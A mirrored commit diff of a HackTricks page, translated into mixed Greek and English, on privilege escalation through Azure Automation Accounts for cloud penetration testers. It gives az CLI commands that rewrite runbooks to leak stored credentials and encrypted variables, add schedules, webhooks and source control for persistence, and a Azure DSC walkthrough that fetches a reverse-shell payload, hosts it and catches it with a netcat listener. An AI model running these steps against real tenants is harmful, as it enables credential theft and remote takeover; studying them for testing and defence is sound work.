mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+67
-49
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
@@ -12,29 +12,29 @@
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Από τον Λογαριασμό Αυτοματοποίησης στη VM**
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
|
||||
Θυμηθείτε ότι αν με κάποιο τρόπο ένας attacker μπορεί να εκτελέσει ένα arbitrary runbook (arbitrary code) σε έναν hybrid worker, θα **pivot to the location of the VM**. Αυτό μπορεί να είναι ένας on-premise υπολογιστής, ένα VPC ενός διαφορετικού cloud ή ακόμη και ένα Azure VM.
|
||||
|
||||
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
|
||||
Επιπλέον, αν ο hybrid worker τρέχει στο Azure με άλλες Managed Identities συνδεδεμένες, το runbook θα μπορεί να προσπελάσει την **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το διακριτικό των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
|
||||
> Να θυμάστε ότι η **metadata service** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνεται το managed identities token του automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Από τη VM στον Λογαριασμό Αυτοματοποίησης**
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
Επιπλέον, αν κάποιος παραβιάσει μια VM όπου εκτελείται ένα σενάριο λογαριασμού αυτοματοποίησης, θα μπορεί να εντοπίσει τα μεταδεδομένα του **Λογαριασμού Αυτοματοποίησης** και να έχει πρόσβαση σε αυτά από τη VM για να αποκτήσει διακριτικά για τις **Διαχειριζόμενες Ταυτότητες** που είναι συνδεδεμένες με τον Λογαριασμό Αυτοματοποίησης.
|
||||
Επιπλέον, αν κάποιος compromize ένα VM όπου τρέχει ένα script του automation account, θα μπορέσει να εντοπίσει τα metadata του **Automation Account** και να τα προσπελάσει από το VM για να αποκτήσει tokens για τις **Managed Identities** που είναι συνδεδεμένες στο Automation Account.
|
||||
|
||||
Όπως είναι δυνατόν να δείτε στην παρακάτω εικόνα, έχοντας πρόσβαση Διαχειριστή στη VM είναι δυνατόν να βρείτε στις **μεταβλητές περιβάλλοντος της διαδικασίας** το URL και το μυστικό για να έχετε πρόσβαση στην υπηρεσία μεταδεδομένων του λογαριασμού αυτοματοποίησης:
|
||||
Όπως φαίνεται στην ακόλουθη εικόνα, έχοντας Administrator πρόσβαση στο VM είναι δυνατόν να βρεθούν στις **environment variables of the process** το URL και το secret για πρόσβαση στην automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που είναι αποθηκευμένες στον Λογαριασμό Αυτοματοποίησης.
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **create, modify and run Runbooks** στο Automation Account, το οποίο μπορείτε να χρησιμοποιήσετε για να **execute code** στο context του Automation Account και να escalate privileges προς τις ανατιθέμενες **Managed Identities** και να leak **credentials** και **encrypted variables** αποθηκευμένες στο Automation Account.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει να τροποποιηθεί ο κώδικας ενός Runbook στο Automation Account χρησιμοποιώντας:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** μιας διαπίστευσης και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης.
|
||||
Παρατήρησε πώς το προηγούμενο script μπορεί να χρησιμοποιηθεί για να **leak the useranmd and password** ενός credential και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στο Automation Account.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στον Λογαριασμό Αυτοματοποίησης ώστε οι αλλαγές να εφαρμοστούν:
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στο Automation Account ώστε οι αλλαγές να εφαρμοστούν:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελεί ένα Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελέσει ένα Runbook στο Automation Account χρησιμοποιώντας:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στο Automation Account χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Αν δεν υπάρχουν δημιουργημένα Runbooks, ή αν θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τις **άδειες `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας:
|
||||
Αν δεν υπάρχουν δημιουργημένα Runbooks, ή θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τα **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
Αυτό το δικαίωμα επιτρέπει στον χρήστη να **assign a user managed identity** στο Automation Account χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Χρονοδιαγράμματος στον Λογαριασμό Αυτοματοποίησης που εκτελείται κάθε 15 λεπτά (όχι πολύ κρυφά) χρησιμοποιώντας την παρακάτω εντολή.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Schedule στο Automation Account που εκτελείται κάθε 15 λεπτά (όχι πολύ stealth) χρησιμοποιώντας την ακόλουθη εντολή.
|
||||
|
||||
Σημειώστε ότι το **ελάχιστο διάστημα για ένα χρονοδιάγραμμα είναι 15 λεπτά**, και η **ελάχιστη ώρα έναρξης είναι 5 λεπτά** στο μέλλον.
|
||||
Σημειώστε ότι το **ελάχιστο διάστημα για ένα schedule είναι 15 λεπτά**, και ο **ελάχιστος χρόνος έναρξης είναι 5 λεπτά** στο μέλλον.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
|
||||
Τότε, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, είναι δυνατό να αναθέσετε έναν Scheduler σε ένα runbook χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
|
||||
> Στο προηγούμενο παράδειγμα, το job schedule id είχε μείνει ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα**, αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε ένα Automation Account χρησιμοποιώντας μία από τις ακόλουθες εντολές.
|
||||
|
||||
Με το Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Αυτή η εντολή θα πρέπει να επιστρέψει ένα URI webhook που εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το URI webhook
|
||||
Με AzureCLI και REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Αυτές οι εντολές θα πρέπει να επιστρέψουν ένα webhook URI το οποίο εμφανίζεται μόνο κατά τη δημιουργία. Στη συνέχεια, για να καλέσετε το runbook χρησιμοποιώντας το webhook URI.
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατή η **ενημέρωση του κώδικα ενός Runbook** χωρίς να το δημοσιεύσετε και να το εκτελέσετε χρησιμοποιώντας τις παρακάτω εντολές.
|
||||
Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατό να **ενημερώσετε τον κώδικα ενός Runbook** χωρίς να τον δημοσιεύσετε και να τον εκτελέσετε χρησιμοποιώντας τις ακόλουθες εντολές.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **ρυθμίσει έναν έλεγχο πηγής** για τον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας εντολές όπως οι παρακάτω (αυτό χρησιμοποιεί το Github ως παράδειγμα):
|
||||
Αυτό το δικαίωμα επιτρέπει στο χρήστη να **ρυθμίσει ένα source control** για το Automation Account χρησιμοποιώντας εντολές όπως οι παρακάτω (το παράδειγμα χρησιμοποιεί το Github):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Αυτό θα εισάγει αυτόματα τα runbooks από το αποθετήριο Github στον Λογαριασμό Αυτοματοποίησης και με κάποιες άλλες άδειες για να αρχίσουν να εκτελούνται, θα ήταν **δυνατό να γίνει κλιμάκωση δικαιωμάτων**.
|
||||
Αυτό θα εισάγει αυτόματα τα runbooks από το Github repository στο Automation Account και με κάποιες επιπλέον άδειες για να τα εκτελέσει, θα ήταν δυνατό να πραγματοποιηθεί ανύψωση προνομίων.
|
||||
|
||||
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Επιπλέον, να θυμάστε ότι για να λειτουργεί το source control στις Automation Accounts πρέπει να διαθέτει managed identity με τον ρόλο **`Contributor`**, και αν είναι user managed identity, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί.
|
||||
> Σημειώστε ότι δεν είναι δυνατό να αλλάξετε το repo URL ενός source control αφού αυτό δημιουργηθεί.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή.
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατό να γράψετε μεταβλητές στο Automation Account χρησιμοποιώντας την ακόλουθη εντολή.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
### Προσαρμοσμένα Περιβάλλοντα Runtime
|
||||
|
||||
Εάν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
Εάν ένας automation account χρησιμοποιεί ένα προσαρμοσμένο runtime περιβάλλον, μπορεί να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του runtime με κακόβουλο κώδικα (όπως **a backdoor**). Έτσι, κάθε φορά που ένα runbook που χρησιμοποιεί αυτό το custom runtime εκτελείται και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελεστεί.
|
||||
|
||||
### Compromising State Configuration
|
||||
### Παραβίαση State Configuration
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Δες την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Step 1 — Create Files
|
||||
- Βήμα 1 — Δημιουργία αρχείων
|
||||
|
||||
**Files Required:** Δύο σενάρια PowerShell είναι απαραίτητα:
|
||||
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για τη δημοσίευση της διαμόρφωσης στη VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Απαιτούμενα αρχεία:** Απαιτούνται δύο PowerShell scripts:
|
||||
1. `reverse_shell_config.ps1`: ένα Desired State Configuration (DSC) αρχείο που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: ένα script για να δημοσιεύσει τη διαμόρφωση στο VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Customization:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
|
||||
**Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, διαδρομών αρχείων και αναγνωριστικών server/payload.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
- Βήμα 2 — Συμπίεση αρχείου διαμόρφωσης
|
||||
|
||||
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account.
|
||||
Το `reverse_shell_config.ps1` συμπιέζεται σε αρχείο `.zip`, κάνοντάς το έτοιμο για μεταφορά στο Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση
|
||||
- Βήμα 3 — Ορισμός Storage Context & Ανέβασμα
|
||||
|
||||
Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
|
||||
Το συμπιεσμένο αρχείο διαμόρφωσης ανεβαίνει σε έναν προκαθορισμένο Azure Storage container, azure-pentest, χρησιμοποιώντας το cmdlet Set-AzStorageBlobContent της Azure.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Βήμα 4 — Προετοιμασία του Kali Box
|
||||
- Βήμα 4 — Προετοιμασία Kali Box
|
||||
|
||||
Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub.
|
||||
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο στο GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
|
||||
Το script επεξεργάζεται για να καθορίσει τον target Windows VM και τη θύρα για το reverse shell.
|
||||
|
||||
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
|
||||
- Βήμα 5 — Δημοσίευση Αρχείου Διαμόρφωσης
|
||||
|
||||
Το αρχείο ρυθμίσεων εκτελείται, με αποτέλεσμα το σενάριο reverse-shell να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
|
||||
Το αρχείο διαμόρφωσης εκτελείται, με αποτέλεσμα το reverse-shell script να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
|
||||
|
||||
- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
|
||||
- Βήμα 6 — Φιλοξενία payload και Ρύθμιση listener
|
||||
|
||||
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
|
||||
Ξεκινά ένας Python SimpleHTTPServer για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Η προγραμματισμένη εργασία εκτελεί το payload, επιτυγχάνοντας δικαιώματα επιπέδου SYSTEM.
|
||||
Η προγραμματισμένη εργασία εκτελεί το payload, αποκτώντας προνόμια σε επίπεδο SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user